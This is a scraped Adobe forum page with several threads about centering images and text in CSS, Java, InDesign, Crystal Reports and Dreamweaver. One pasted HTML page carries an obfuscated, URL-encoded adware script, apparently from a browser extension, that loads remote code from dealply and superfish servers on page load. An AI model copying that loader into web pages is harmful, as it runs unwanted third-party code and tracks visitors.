Center Align images?

I had just finished my first page which I saved. I then checked the page on line and saw where I needed to put in a "named anchor". When I tried to do that all of the images after that point moved to the left.  They were previously centered.  The one image above the "named anchor" entry point stayed centered.  In some of the subsequent divs where there was only text it stayed centered.   I cannot imagine any reason the "named anchor" activity would effect the image centering but I am stuck.  I checked the image divs and the CSS says: text-align: center; but they are all aligned left except for the image above where I tried to place the "named anchor".  For instance the first of the following two images (LayoutDiv1) is perfectly centered and the 2nd image (Pic1) is on the left side of it's div as are all of the rest even though the CSS descriptions all say "centered".    #LayoutDiv1 {      clear: both;      float: left;      margin-left: 0;      width: 100%;      display: block;      padding-bottom: 15px;      text-align: center;      padding-top: 20px; } #pic1 {      clear: both;      float: left;      margin-left: 0px;      width: 100%;      display: block;      text-align: center;      border-image-width: 1px; }

Since you have your page online please post a link to it.
Partial scraps of CSS code no HTML don't help much.

Similar Messages

  • Center aligned Text in image

    Hai,
    I urgently need help. I want to create a jpg image which is totally white in this white image i draw some multiple line text which i want to write in the center of image. I send the Text as string to my class through servlet file. The string has some newline charatcer also. So can anybody tell me how can i draw image with center aligend text.
    I use Graphics2D class for drawing and with fontMetrics to get the length of my message string. But it is not fitted in image and crossing the limit of my image.
    My white image size is not fix i m using different kind of size white image.
    Thanx in advance

    import java.awt.*;
    import java.util.*;
    import javax.swing.*;
    import javax.swing.border.*;
    public class TextPanel extends JPanel
         public TextPanel(String text)
              setBackground( Color.WHITE );
              setBorder( new EmptyBorder(5, 5, 5, 5) );
              setLayout(new BoxLayout(this, BoxLayout.Y_AXIS));
              add( Box.createVerticalGlue() );
              StringTokenizer st = new StringTokenizer(text, "\r\n");
              while (st.hasMoreTokens())
                   JLabel line = new JLabel( st.nextToken() );
                   line.setFont( UIManager.getFont( "TextField.font" ) );
                   line.setAlignmentX(0.5f);
                   add( line );
              add( Box.createVerticalGlue() );
         public static void main(String[] args)
              String text =
                   "first line\n" +
                   "second line\n" +
                   "a line with more text\n" +
                   "another line";
              JFrame frame = new JFrame();
              frame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
              frame.getContentPane().add( new TextPanel( text ) );
              frame.pack();
              frame.setLocationRelativeTo( null );
              frame.setVisible(true);
    }

  • Is there a shortcut to center-align all items of a certain type only?

    I know the title of this thread is poorly worded; I apologize. Let me try to explain.
    I design transit schedules, which I create in InDesign using tables. These schedules list arrival times for bus stops, but when the bus does not stop at a particular stop, this is indicated by an em dash.
    Example:
    The times are left-aligned within the columns (they are aligned on the colon). However, the em dashes are center-aligned. Currently, the entire table is left-aligned by default, and I manually highlight and center-align the em dashes. When there are just a few em dashes or when the em dashes are all adjacent to each other, it's no big deal.
    But I often have to work with schedules in which the em dashes are in every other row (like the top half in the example above) or scattered throughout the table, and in those cases, my very manual method is a real pain in the neck—I have to highlight and center each em dash individually.
    What I would LOVE to find is a feature similar to the Find and Replace feature, in which I could essentially ask InDesign to Find all em dashes within the document and center align them only. I've searched for such a feature to no avail. Am I overlooking something, or is this just not possible in InDesign? And if it's not possible, can you think of a better and more efficient way of center-aligning the em dashes than my current method?
    FYI, I'm still using InDesign CS3, though I hope to upgrade soon. If I learn that a Find and Align type of feature is available in CS5, well—that's just more motivation for me to upgrade ASAP!
    Thanks for your help and input.

    It can be solved through find and change itself. I think the below image will clarify your requirement.

  • How can I dynamically center an image in Crystal Reports?

    Hi! I'm using Visual Studio 2010, SQL Server 2008 R2 and Crystal Reports 13_0_11.
    I have a database full of images type image in SQL Server. Every image has diferent width. 
    I create a report with Crystal Reports and a Dataset and does everything that I want. But I can't horinzotal align the image, in the property window, the horizontal align option is disable, I don't know why... and I don't know what to do... 
    Please help me with how can I center the images or how can I enable the option...

    Hi Fafa0239,
    Since it is related to the Crystal Reports, please post questions related to third-party products in their forums (http://scn.sap.com/thread/3440443).
    Best Regards,
    Jack
    We are trying to better understand customer views on social support experience, so your participation in this interview project would be greatly appreciated if you have time. Thanks for helping make community forums a great place.
    Click
    HERE to participate the survey.

  • Unable to center align text in menu tabs

    following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
    <!DOCTYPE html>
    <!-- saved from url=(0022)http://www.arts.ac.uk/ -->
    <html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
      <meta charset="utf-8">
          <title>Peace University USA - America's Leading Faithbased School</title>  <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <!-- navigation object : UAL: metaElement -->
        <meta charset="utf-8">
      <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <title>Peace University USA - America's Leading Faithbased School</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <!-- Common Metadata Tags -->
        <meta name="robots" content="all">    <!-- Le HTML5 shim, for IE6-8 Support of HTML elements -->
        <!--[if lt IE 9]>
          <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
        <![endif]-->
        <!--[if !IE 6]><!-->
      <!-- Main style css -->
    <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
                  <!-- Responsive style-->
                <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
            <!-- Application style-->
    <link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
        <!--<![endif]-->
        <!--[if IE 7]>
          <link rel="stylesheet" type="text/css" media="screen" href="/media/artsacukstyleassets/component-library/ie7.css" />
        <![endif]-->
        <!--[if lte IE 6]>
          <link rel="stylesheet" href="http://universal-ie6-css.googlecode.com/files/ie6.0.3.css" type="text/css" />
        <![endif]-->
        <!-- The fav icons -->
        <link rel="shortcut icon" href="./images/favicon.ico">
        <!-- Load modernizr -->
       <script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
      <script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
      <style type="text/css">
      body {
              margin-left: 200px;
              overflow:hidden
      .n {
              text-align: center;
      </style>
    </head>
      <!-- Apply a style to the body class -->
        <body class="ual">
        <!-- navigation object : UAL: headerElement -->
        <nav id="top-navigation-column-1" class="span2" role="navigation" >
                  <!-- navigation object : Top Navigation Column 1 --> </nav>           
    <a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
                <nav id="top-navigation-column-2" class="span3" role="navigation">
                  <!-- navigation object : Top Navigation Column 2 -->
                  <ul id="nav-sub" class="nav">
                </nav>         
    <div id="top-navigation-column-3" class="span4">
              <!-- navigation object : Search_box_Include --><!-- Add Search form -->
                  <div class="search-wrapper"></div>
              <!-- navigation object : Wayfinder_Include -->
        </div>
              </div>
            </header><!-- End of header -->
          </div><!-- End of row -->       <!-- Tabbed content -->
          <div class="tab-index">
            <div class="ual-tab">
                <figure>         <a href="http://www.faithinpeace.org">
                  <img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px;    "> </a><!-- Main UAL Image -->
                <figcaption></figcaption>
              </figure>
                        <section class="ual-tab-scroll-text">
                  <h2>
                  </h2>
                  <p class="teaser"></p>
              </section>
            </div>
            <nav class="ual-tabbed-content">
              <ul class="nav-bar">
                <li id="camberwell" class="has-flyout">
                  <a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
                </li>
                <li id="csm" class="has-flyout">
                  <a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
                </li>
                <li id="chelsea" class="has-flyout">
                  <a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
                </li>
                <li id="lcc" class="has-flyout">
                  <a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
                </li>
                <li id="lcf" class="has-flyout">
                  <a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
                </li>
                <li id="wimbledon" class="has-flyout">
                  <a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
                </li>
              </ul>
              <div class="flyout camberwell" data-role="camberwell" style="display: none; ">
                <a href="./index" title="Peace University USA">
                  <img src="./images/home.png" alt="" style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout csm" data-role="csm" style="display: none; ">
                <a href="./admissions.htm" title="We have a place for everyone">
                  <img src="./images/admissions.png"  style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout chelsea" data-role="chelsea" style="display: none; ">
                         <a title="Academics" href="./academics.htm">
                  <img src="./images/academics.png" alt="" style="width : 940px; height : 400px;    ">
                        </a>
              </div>
              <div class="flyout lcc" data-role="lcc" style="display: none; ">
    <a title="Joining hands to strengthen resources" href="./collaborate.htm">
                  <img src="./images/collaborate.png"  style="width : 940px; height : 400px;    ">
    </a>
              </div>
              <div class="flyout lcf" data-role="lcf" style="display: none; ">
                <a href="digital.edu/lms/" title="Online Education @Peace">
                   <img src="./images/vu.png" style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
                <a href="./contact.htm" title="Contact Us">
                  <img src="./images/contact.png" alt="" style="width : 940px; height : 400px;    ">
                </a>
              </div>
            </nav>
          </div><div class="four-box-teasers row">
            <ul class="slide-teasers">
              <li class="has-slide span3">
                <h3>Media Arts and Design</h3>
                <a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px;    "></a>
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                    <a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>Youth Engagement Platform</h3>
                <a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px;    "></a>
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                                   <a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>Courses</h3>
                <img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px;    ">
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                               <a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>English Training Programs</h3>
                <img src="images/etp.png"  style="width : 220px; height : 110px;    ">
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                    <a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
                  </p>
                </div>
              </li>
            </ul>
          </div><!-- navigation object : UAL: footerElement -->      <!-- Footer -->
          <footer id="footer">
            <div class="row">
              <section class="footer-links span12">
                <ul class="footer-links span6">
    <!-- navigation object : UAL: footerLinks -->
                  <li class="facebook">
                  <a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>            
                </ul>
                <!-- Add PHP date function -->
                            <ul class="footer-links span6">
                 <li><a href="http://eepurl.com/nj22f">
                  Sign up for latest News |</a></li>             
                  <li><a href="./contact.htm">
                  Contact Us </a></li></ul>
              </section>
            </div>
          </footer>
        </div>    <!-- Javascript at the bottom for faster loading -->
        <script src="./index_files/jquery.min.js"></script>
        <script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>
    <!-- Application Javascript-->
      <script type="text/javascript" src="./index_files/script.js"></script>
        <!-- Asynchronous Google Analytics snippet. Change UA-XXXXX-X to be your site's ID. -->
        <!-- mathiasbynens.be/notes/async-analytics-snippet -->
        <script>
          var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
          (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
          g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
          s.parentNode.insertBefore(g,s)}(document,'script'));
        </script>
    <div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{&quot;imageCount&quot;:0,&quot;ip&quot;:&quot;182.177.144.206&quot;}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>

    Have you tried adding the following css selector to your css file.
    .nav-bar a {
        text-align: center;
    or insert it in the <style> tag you have on the page:
      <style type="text/css">
      body {
        margin-left: 200px;
      .n {
        text-align: center;
    .nav-bar a {
        text-align: center;
      </style>

  • Smartforms - Center Alignment in the cell

    Hi
    I have defined a label in the following format using Smartforms...
    All the variables are contained within a template, which is in a loop
    I see that the texts which are right to the bar code are coming at the top right corner..
    http://img41.imageshack.us/img41/2193/label1present.png
    How can I get them to right center alignment like the following image...
    http://img193.imageshack.us/img193/4839/label1desired.png

    Hi Grame,
    You can create the 2 windows ,. one for bar code and another for that text.
    Overlapp those wondows so that the text window will come at the place where u want.
    Try if this is working.
    Rgds,
    Madhuri

  • Center alignment not working for all groups

    We are trying to center our visual within our blank white canvas, and we have multiple groups within the file. See image attached. When we select all groups then hit the center alignment button, only the bottom group becomes centered and nothing else. When we try to select all layers within the first group and hit it, everything moves except the color mask which stays in the original place.
    This seems to be a glitch or bug that it's not working automatically for everything.
    ~Katie

    Ask in the PS forum and provide exact system and version info.
    Mylenium

  • Center an image

    I am new to Dreamweaver. I just bought CS6 and I'm trying to center an image in a div on the left side of my page. My page is set up with multiple background layers and a left navigation column and then the right side is the main context of the page. Instead of using something like a horizontal line in my navigation area, I have a small border type design that I want centered in this column. I understand how I can place the image to the right or left but how do you center it?
    I tried creating a class called .center but there's no options for centering something except for text. I did try using align center for text but that didn't work.
    I'm basically a novice with all of this so any help would be greatly appreciated.

    Do something like this:
    1) CSS like this:
    img.center {   display: block;   margin-left: auto;   margin-right: auto; }
    2)  HTML like this:
    <img src="my_big_one.jpg" alt="big_one" class="center" />
    This should do the job.

  • How to center align preview page

    When I preview my webpage (which I am creating in fireworks) in the browser it is to the left of the page, How do I center align it?? Thank you in advance for your help

    You shouldn't be creating your total web page in Fireworks, only the graphics  :-)
    You should slice up the images you need and then export those and use them in your HTML or via the stylesheet as background images.  A web page that is full of images will only slow down the loading plus not be indexed by search engines...
    To then center the page, you need to use CSS to to align the page in the center of the browser window regardless of window size.  This again, is done when you move over to the HTML editor, not in FWs.
    A good tutorial that may help the transition from taking a FWs comp to HTML
    http://www.adobe.com/devnet/dreamweaver/articles/dw_fw_css_pt1.html
    Nadia
    Adobe® Community Expert : Dreamweaver
    Unique CSS Templates |Tutorials |SEO Articles
    http://www.DreamweaverResources.com
    Book: Ultimate CSS Reference
    http://www.sitepoint.com/launch/005dfd4/3/133
    http://twitter.com/nadiap

  • Center-align created pattern swatch

    Hi there
    When creating patterns with for example very easy dimensions like the artboard 400 x 400 px etc, and everything right placed, as you can see on the print screens, after having created the pattern, it never aligns center-aligned like I would like it too. Very annoying.
    who can help? Thanks!!
    Left: the original positioning before creating the pattern.
    Right: the result of a perfect square, center aligned to the artboard and with the swatch applied, not too pretty he?

    Hi CarlosCanto
    You're right. So far so good, but this still doesn't help me getting a nice pattern centered on the artboard?
    The image here is an example of the actual pattern I would like to use The smaller image is a print screen of the actual composition of elements in Illustrator which I made the pattern of.
    Is there an easy solution for this?
    Thanks!

  • Picture Center alignment in a page

    Hi,
    Can we do center alignment of an image in crystal reports?
    The scenario is like this.
    1. Created a OLE object in details section.
    2. Defined the detail section as "Format with multiple columns.
    3. OLE object grpahic location is defined as the file name and location comes from database.
    Here, in database, I defined the pciture size as Small, Medium and large. Based on that, we are adjusting the spaces in the report.
    For example, if there are 4 small images, I am displaying those images in a single page. As I defined the details section with "Format with multple columns", I can make 4 small images display in one page.
    If there are medium images, I am displaying 2 images in a single page.
    If there are large imates, only one I am displaying in a page.
    This setting is done based on the image size given in database.
    Here the issue comes, as even though the image size can fit into one portion of page, the image size is defined either as medium or large. And the image is by default left aligned.
    Here I would like to center align the object, so that, the page won't look odd.
    Is there any way we can do this?
    Thank you,
    Regards,
    Gowtham

    Hi,
    The page can have something called regions. You can place portlets in these regions. If you are on 309 you add regions by editing the page. if you are on 902 then you can do it by editing the layout of the page.
    Hope that helps.
    Thanks,
    Sharmila

  • Center alignment not working fora ll groups

    We are trying to center our visual within our blank white canvas, and we have multiple groups within the file. See image attached. When we select all groups then hit the center alignment button, only the bottom group becomes centered and nothing else. When we try to select all layers within the first group and hit it, everything moves except the color mask which stays in the original place.
    This seems to be a glitch or bug that it's not working automatically for everything. We are using Adobe Photoshop CC, 2014.1.0 release

    Ask in the PS forum and provide exact system and version info.
    Mylenium

  • How do I center an image inside a div tag using fluid grid layout?

    where do I find and what do i use the image properties position when using the fluid grid layout. I'd like to center the image in the mobile page versus th left position in the desktop.

    This is what my css codes looks like where the image is in the div tag:
    #logo_links {
        clear: both;
        float: left;
        margin-left: 0;
        width: 32.2033%;
        display: block;
    This is the html code where the image is:
      </div>
        <div id="logo_links">
          <div align="center">
            <p><img src="../fluidgrid/images/3_7x2logo.jpg" alt="" width="236" height="110" align="left"></p>
          </div>
        </div>
    I'm going to need more detail where to insert the suggested code as I am a newby!
    Thanks

  • How do you center an image within a PDF?

    How do you center align an image in a pdf?
    Thank you.

    Hi drewdollar,
    If you have Acrobat, you can use the Edit Text & Images tool on the Content Editing pane of the Tools panel. Just select Edit Text & Images, and then drag the image where you'd like it to appear on the page.
    Best,
    Sara

  • Center Aligning a Webpage?

    For some reason, my webpage is center aligned in Firefox, but not in Safari or Opera.  I'm not sure about IE since I don't have it on my computer.  Whatever the case, I finally got the webpage to align the way I wanted it to (in the center), and it looked perfect in Firefox.  In Safari, however, it was left aligned, and in Opera, it was between the two... about 25% away from the left part of the screen.
    Is there any way to fix this problem?  Here's my code.
    <link href="../styles.css" rel="stylesheet" type="text/css">
    <div id="wrapper">
      <div id="container">
        <div id="header"></div>
        <div id="menu"><img src="../Images/home_button" width="160" height="43" alt="home_button"><img src="../Images/faq_button" width="160" height="43" alt="faq_button"><img src="../Images/newsletter_button" width="160" height="43" alt="newsletter_button"><img src="../Images/donate_button" width="160" height="43" alt="donate_button"><img src="../Images/contact_button" width="160" height="43" alt="contact_button">
        <div id="middle">
          <h2>Text Goes Here</h2>
    </div>
        <div id="footer">
        </div>
      </div>
    </div>

    As John says, without seeing your style sheet or preferably showing the page on a live website, it's impossible to say what the problem might be. However, I see that you have a wrapper div. The style for the wrapper should be something like this:
    #wrapper {    width: 780px;    margin: 0 auto;}
    That will centre your page and make the contents 780px wide. You can change the width to suit your requirements, but the div must have a declared width (it can be a percentage or measured in ems if you prefer).

Maybe you are looking for

  • Ipod nano-memory full-how to delete music to free up space

    how do u delete music and other stuff from ipod

  • Custom Site Templates How-To

    I'm absolutely not opposed to doing a good deal of reading on this topic, so feel free to recommend online (and offline) resources that I might consult that provide the kind of information I'm seeking here. In any case, here is my issue... I have bee

  • No sound on Nano 3G

    I just got a new Nano 3G a few days ago. Today I got no sound when I hooked the nano up to my cassette adapter. Hmmm. So I tried it at work with my headphones. No sound. Well I read a post here that says to press the center and menu buttons together.

  • HT4759 iCloud panel on PC's problem

    my iCloud panel on Windows 7 is always shuts down and doesn't work well, also the photo stream is not updated. after the version 2.0 works well for about a month then the same problem starts to come up again, now i try to open my photo stream on my P

  • Printing from CS3

    My background - Windows PC user for years. Reasonably competent with Photoshop CS3 (Windows). Just bought new iMac with latest OS (Leopard). I like most of what I see so far but still very much in the learning curve stage. Have bought Mac version of